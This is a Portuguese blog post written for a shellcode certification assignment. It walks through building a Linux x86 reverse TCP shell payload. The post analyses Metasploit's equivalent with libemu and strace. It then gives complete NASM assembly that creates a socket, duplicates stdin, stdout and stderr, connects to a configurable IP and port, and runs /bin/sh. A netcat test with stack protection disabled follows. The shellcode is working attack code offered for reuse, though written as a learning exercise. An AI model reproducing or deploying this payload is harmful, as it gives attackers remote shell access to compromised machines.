Tradutor

quarta-feira, 20 de março de 2013

SLAE - 2nd Assignment - Shell Reverse TCP

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
*/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/2nd.assignment

<UPDATE>
   O shellcode final deste post foi aceito no repositório Shell-Storm.
   Tks Jonathan Salwan.
</UPDATE>


Segundo Exame

Vivek, para este assignment, designou o seguinte:

Criar um shellcode de Shell Reverse TCP

- Executar um shell ao conectar no host reverso
- Tornar fácil a configuração dos IP e porta

Como material, analisar o linux/x86/shell_reverse_tcp do Metasploit usando o libemu.


libemu - sctest - strace - man

Comecei gerando o fluxograma do shellcode do Metasploit.

# msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 R | /opt/libemu/bin/sctest -Ss 100000 -vvv -G shell_reverse_tcp_metasploit.dot

# dot shell_reverse_tcp_metasploit.dot -T png -o shell_reverse_tcp_metasploit.png


Vê-se que, diferentemente dos shell_bind_tcp nos quais trabalhamos nos posts anteriores, o shell_reverse_tcp, logo após a criação do socket (socket), faz a duplicação (dup2) dos files descriptors e já efetua a conexão (connect) nos endereço e porta definidos para finalmente executar (execve) o "/bin/sh".

Usei também o strace para analisar o netcat, como complemento ao libemu. O que me me poupou tempo, pois não precisei reconstruir o binário para entender melhor a syscall connect; e nem é necessário comentar que o uso do man deixou o meu .bash_history um pouquinho mais gordo. =D

# nc -l 127.0.0.1 55555

Em outro terminal.

# strace -e socket,connect nc 127.0.0.1 55555
...
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(55555), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)

Com as novas informações anotadas e revisadas, construí de primeira o shellcode enxuto em assembly nasm.


; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shell_reverse_tcp.asm
global _start
section .text
_start:
; host
push 0x0101017f ; IP Number "127.1.1.1" in hex reverse order
pop esi
; port
push WORD 0x03d9 ; Port Number 55555 in hex reverse order
pop edi
; syscalls (/usr/include/asm/unistd_32.h)
; socketcall numbers (/usr/include/linux/net.h)
; Creating the socket file descriptor
; int socket(int domain, int type, int protocol);
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
push 102
pop eax ; syscall 102 - socketcall
cdq
push 1
pop ebx ; socketcall type (sys_socket 1)
push edx ; IPPROTO_IP = 0 (int)
push ebx ; SOCK_STREAM = 1 (int)
push 2 ; AF_INET = 2 (int)
finalint:
mov ecx, esp ; ptr to argument array
int 0x80 ; kernel interruption
xchg ebx, eax ; set ebx with the sockfd
; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
; int dup2(int oldfd, int newfd);
; dup2 (clientfd, ...)
pop ecx
dup_loop:
mov al, 63 ; syscall 63 - dup2
int 0x80
dec ecx
jns dup_loop
; Connecting the duplicated file descriptor to the host
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; connect(sockfd, [AF_INET, 55555, 127.1.1.1], 16)
mov al, 102 ; syscall 102 - socketcall
; socketcall type (sys_connect) 3 - ebx already has it
; host address structure
push esi ; IP number
push di ; port in byte reverse order = 55555 (uint16_t)
push WORD 2 ; AF_INET = 2 (unsigned short int)
mov ecx, esp ; struct pointer
; connect arguments
push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t)
push ecx ; sockaddr_in struct pointer (struct sockaddr *)
push ebx ; socket fd (int)
mov ecx, esp
int 0x80
; Finally, using execve to substitute the actual process with /bin/sh
; int execve(const char *filename, char *const argv[], char *const envp[]);
; exevcve("/bin/sh", NULL, NULL)
mov al, 11 ; execve syscall
; execve string argument
push edx ; null-byte
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ptr to ["bin//sh", NULL] string
push edx ; null ptr to argv
push ebx ; null ptr to envp
jmp finalint ; and jump to bingo

Por conta da possibilidade trivial de se configurar a porta e o IP, o shellcode só estará livre de null-bytes caso esses valores não tenham numeração em hexa x00. Entretanto, se o null-byte realmente impossibilitar a utilização do shellcode, temos outras maneiras de darmos bypass. Em próximos posts veremos isso.

O shellcode final teve um aumento de 4 bytes, ficando com  72 (metasploit = 68). Esse acréscimo se deu pela propriedade da configuração do IP e da Porta nos seus primeiros bytes. Mesmo com as instruções diferentes, o resultado foi igual. Vejam.



TESTANDO

# gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode

Terminal host
# nc -l 127.1.1.1 55555

Terminal cliente
# ./shellcode

Terminal host novamente
# netstat -anp | grep shell
tcp        0      0 127.0.0.1:51600   127.1.1.1:55555   ESTABLISHED   976/shellcode


Reversing (Gotcha)

Mais um shellcode construído: Shell Reverse TCP (Linux/x86) com IP e porta facilmente configuráveis (segundo ao quinto e nono ao décimo byte, respectivamente).

P.S.

Se você encontrar alguma forma de reduzir a quantidade de bytes do shellcode apresentado, entre em contato para discutirmos. Com todo prazer, farei as alterações colocando os devidos créditos.


[]


Mais Informações

2 comentários:

  1. Animal cara! Valeu por compartilhar sua experiência :)

    ResponderExcluir
    Respostas
    1. Obrigado Marcelo!

      "I consider that the golden rule requires that if I like a program I must share it with other people who like it."
      (Richard M Stallman)

      "Software is like sex; it's better when it's free"
      (Linus Torvalds at 1996 FSF conference)

      Excluir

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Brazil License.